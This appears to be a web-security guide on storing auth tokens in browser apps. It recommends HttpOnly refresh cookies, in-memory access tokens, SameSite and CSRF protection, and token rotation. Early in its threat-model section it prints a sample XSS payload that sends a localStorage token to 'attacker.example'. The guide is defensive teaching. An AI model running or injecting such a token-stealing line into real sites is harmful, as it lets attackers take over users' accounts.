Securing Auth Tokens in Browser Storage
Almost every single-page app has to answer one question: where does the session credential live between requests? The convenient answer — localStorage.setItem('token', jwt) — is also the one that turns a single cross-site scripting bug into a full account takeover. This guide lays out the threat model of a JSON Web Token in script-readable storage and the architecture that defuses it: a long-lived refresh token in an HttpOnly cookie that JavaScript cannot touch, a short-lived access token held only in memory, and a silent refresh on reload. It is the credential-handling companion to Storage Security, Encryption & Privacy; for the at-rest encryption of non-credential data, see the sibling guide Encrypting Browser Storage with Web Crypto. The detailed attack walkthrough lives in Why a JWT in localStorage Is XSS-Vulnerable.
The threat model: a JWT in localStorage
A JWT in localStorage is appealing because it is trivial: write it on login, read it on every request, attach it as a Bearer header. The problem is the read side. localStorage is readable by any script executing on the origin, with no further permission. So the moment an attacker gets script to run in your page — through an injected dependency, a vulnerable third-party widget, a reflected or stored XSS payload — they execute this in one line:
// What an injected XSS payload runs. No prompt, no permission, no trace.
fetch('https://attacker.example/steal', {
method: 'POST',
body: localStorage.getItem('token') ?? '',
});
The stolen token is a bearer credential: it is valid from any machine until it expires, and “logout” on the victim’s device does nothing to it because the server never learns it was copied. With a typical 15-minute to multi-hour access-token lifetime, that is a wide window for an attacker to act as the user. The defining weakness is not the JWT format — it is that the credential lives somewhere JavaScript can read it. Remove that property and the whole class of attack collapses. The step-by-step exploitation is detailed in Why a JWT in localStorage Is XSS-Vulnerable.
The recommended architecture
The design splits one credential into two, each with a different lifetime and a different home:
- A long-lived refresh token in an
HttpOnly,Secure,SameSitecookie.HttpOnlymeans JavaScript cannot read it viadocument.cookie; it is attached automatically only when the browser makes a request to your origin. An XSS payload cannot exfiltrate what it cannot read. - A short-lived access token in a module-scoped in-memory variable. It never touches
localStorage,sessionStorage, IndexedDB, or any cookie. It dies when the tab closes or the page reloads — and that is fine, because you can mint a new one. - A silent refresh on reload. On startup, the app calls a refresh endpoint with
credentials: 'include'. The browser sends theHttpOnlycookie, the server validates it and returns a fresh access token, which goes back into the in-memory variable.
// The access token never leaves memory. A reload re-fetches it using the
// HttpOnly refresh cookie, so nothing sensitive is ever written to storage.
let accessToken: string | null = null;
let inflight: Promise<string> | null = null;
async function refreshAccessToken(): Promise<string> {
const res = await fetch('/auth/refresh', {
method: 'POST',
credentials: 'include', // sends the HttpOnly refresh cookie
});
if (!res.ok) {
accessToken = null;
throw new Error('Session expired');
}
accessToken = (await res.json()).accessToken as string;
return accessToken;
}
async function getAccessToken(): Promise<string> {
if (accessToken) return accessToken;
// De-duplicate concurrent refreshes so a burst of requests triggers one call.
inflight ??= refreshAccessToken().finally(() => { inflight = null; });
return inflight;
}
async function authedFetch(input: RequestInfo, init: RequestInit = {}): Promise<Response> {
const token = await getAccessToken();
const res = await fetch(input, {
...init,
headers: { ...init.headers, Authorization: `Bearer ${token}` },
});
if (res.status === 401) {
// Access token expired mid-session: refresh once and retry.
accessToken = null;
const retryToken = await getAccessToken();
return fetch(input, {
...init,
headers: { ...init.headers, Authorization: `Bearer ${retryToken}` },
});
}
return res;
}
The cost is one extra round-trip after each reload to rehydrate the access token. In exchange, there is no bearer credential anywhere a script can read it. This is the same in-memory discipline applied to encryption keys in Encrypting Browser Storage with Web Crypto: secrets live in memory, never in persistent script-readable storage.
Why sessionStorage is not the answer
A common half-measure is to move the token from localStorage to sessionStorage, reasoning that it is “more isolated.” It is marginally better — sessionStorage is scoped to a single tab and is cleared when that tab closes, so the exposure window is shorter and a stolen token does not outlive the session. But it is still read by any script on the origin, which means the same one-line XSS payload steals it just as easily while the tab is open. sessionStorage reduces the blast radius over time; it does not remove the script-readable property that is the actual vulnerability. Treat it as a non-fix for credentials. The full behavioral contrast between the two Web Storage surfaces is in localStorage vs sessionStorage, and the specific token comparison in localStorage vs IndexedDB for Auth Tokens.
Comparison of storage surfaces for tokens
| Storage | XSS-readable | CSRF-exposed | Survives reload | Survives tab close | Verdict for credentials |
|---|---|---|---|---|---|
localStorage |
Yes | No | Yes | Yes | Avoid — one XSS exfiltrates the token |
sessionStorage |
Yes | No | Yes | No | Avoid — still script-readable while open |
| In-memory variable | No (not persisted) | No | No | No | Best for the access token |
HttpOnly cookie |
No | Yes (mitigate with SameSite) |
Yes | Yes | Best for the refresh token |
The two safe homes are complementary: the in-memory variable holds the short-lived access token (no persistence, no script-readable surface), and the HttpOnly cookie holds the long-lived refresh token (survives reload, invisible to JavaScript). Cookies introduce CSRF as a trade — the next section handles it.
CSRF and SameSite
Because the browser attaches a cookie automatically to every request to its origin, an attacker’s page can trigger a request that carries your refresh cookie even though it cannot read it — that is cross-site request forgery. The first line of defense is the SameSite cookie attribute:
SameSite=Strict— the cookie is sent only when the request originates from your own site. The strongest setting, but it breaks top-level navigations from external links (the user appears logged out arriving from email), so it is awkward for a refresh cookie tied to navigation.SameSite=Lax— the cookie is sent on top-level GET navigations to your site but not on cross-site subresource requests or non-GET cross-site requests. This is the modern browser default when noSameSiteis specified, and a sensible choice for refresh cookies.SameSite=None; Secure— sent on all cross-site requests; required for genuinely cross-origin cookie flows and only allowed over HTTPS.
For a refresh endpoint, set the cookie HttpOnly; Secure; SameSite=Lax (or Strict if your flow tolerates it), and additionally require a non-cookie proof on state-changing requests — a CSRF token echoed in a header, or restricting refresh to a POST that a cross-site form cannot forge with custom headers. SameSite narrows the attack surface; an explicit anti-CSRF token closes it.
Token rotation and logout
A refresh token that never changes is a long-lived liability. Rotation issues a brand-new refresh token on every refresh and invalidates the previous one server-side; if an attacker and the legitimate client both present the same old token, the server detects the reuse and revokes the whole token family. This turns a stolen refresh token into a single-use item that trips an alarm.
Logout must be server-side. Deleting the in-memory access token and clearing the cookie on the client is not enough — the refresh token is still valid on the server until it expires. A correct logout calls a server endpoint that revokes the refresh token (and its rotation family), then clears the client state:
async function logout(): Promise<void> {
// Server revokes the refresh token family; only then is the session dead.
await fetch('/auth/logout', { method: 'POST', credentials: 'include' });
accessToken = null;
inflight = null;
// Optionally redirect to a logged-out route.
}
After this, even a previously captured access token stops working once it expires (minutes), and the refresh token is dead immediately. Pair logout with purging any per-user cached data — coordinated through Service Worker Caching Strategies — so a shared device does not leak the prior user’s responses.
Browser compatibility
The architecture relies on HttpOnly/Secure/SameSite cookies and fetch with credentials: 'include', all of which are Baseline across modern browsers. The behaviors that change between versions are cookie defaults and partitioning.
| Behavior | Chrome / Edge | Firefox | Safari | Notes |
|---|---|---|---|---|
SameSite=Lax default when unset |
Yes | Yes | Yes | Cookies without SameSite default to Lax |
SameSite=None requires Secure |
Yes | Yes | Yes | Cross-site cookies must be HTTPS |
HttpOnly hides from document.cookie |
Yes | Yes | Yes | The core protection; universal |
| Partitioned cookies (CHIPS) | Yes | Behind flag/limited | Partitioned by default (ITP) | Third-party cookies bucketed per top-level site |
The Safari note matters most: Intelligent Tracking Prevention partitions and limits third-party cookies aggressively, so a refresh cookie must be first-party (same registrable domain as the app) to survive. CHIPS (Cookies Having Independent Partitioned State) lets you opt a cookie into per-top-level-site partitioning with the Partitioned attribute when you genuinely need a third-party cookie, but for first-party auth you generally do not. Keep the auth origin and the app origin aligned, and the cookie behaves consistently everywhere.
Frequently Asked Questions
Is sessionStorage safe enough for an access token?
No. sessionStorage is cleared when the tab closes, which shortens the exposure window, but it is still readable by any script on the origin — the same XSS payload that steals from localStorage steals from sessionStorage. Hold the access token in a module-scoped in-memory variable instead, and refresh it on reload.
If the refresh token is in a cookie, am I now exposed to CSRF?
Cookies are auto-attached, so yes, you take on CSRF risk. Mitigate it with SameSite=Lax or Strict on the cookie plus an explicit anti-CSRF token (or a custom header) on state-changing requests. HttpOnly stops token theft via XSS; SameSite plus a CSRF token stops request forgery.
Why hold the access token in memory if a reload just loses it?
Losing it on reload is the point: nothing sensitive is ever persisted where a script could read it. On startup the app calls the refresh endpoint with credentials: 'include', the browser sends the HttpOnly refresh cookie, and the server returns a fresh access token. The cost is one round-trip; the benefit is no stealable credential at rest.
Does clearing localStorage and cookies on the client log the user out?
Not fully. The refresh token remains valid on the server until it expires, so a captured copy still works. A correct logout calls a server endpoint that revokes the refresh token family, then clears client state. Combine that with refresh-token rotation so a reused token trips reuse detection and revokes the session.
Related
- Storage Security, Encryption & Privacy — the parent guide placing token handling in the full storage threat model.
- Encrypting Browser Storage with Web Crypto — protecting non-credential data at rest with AES-GCM.
- Why a JWT in localStorage Is XSS-Vulnerable — the step-by-step exploitation and why HttpOnly defeats it.
- localStorage vs sessionStorage — the behavioral contrast behind why neither is safe for credentials.
- localStorage vs IndexedDB for Auth Tokens — comparing persistent stores for token data specifically.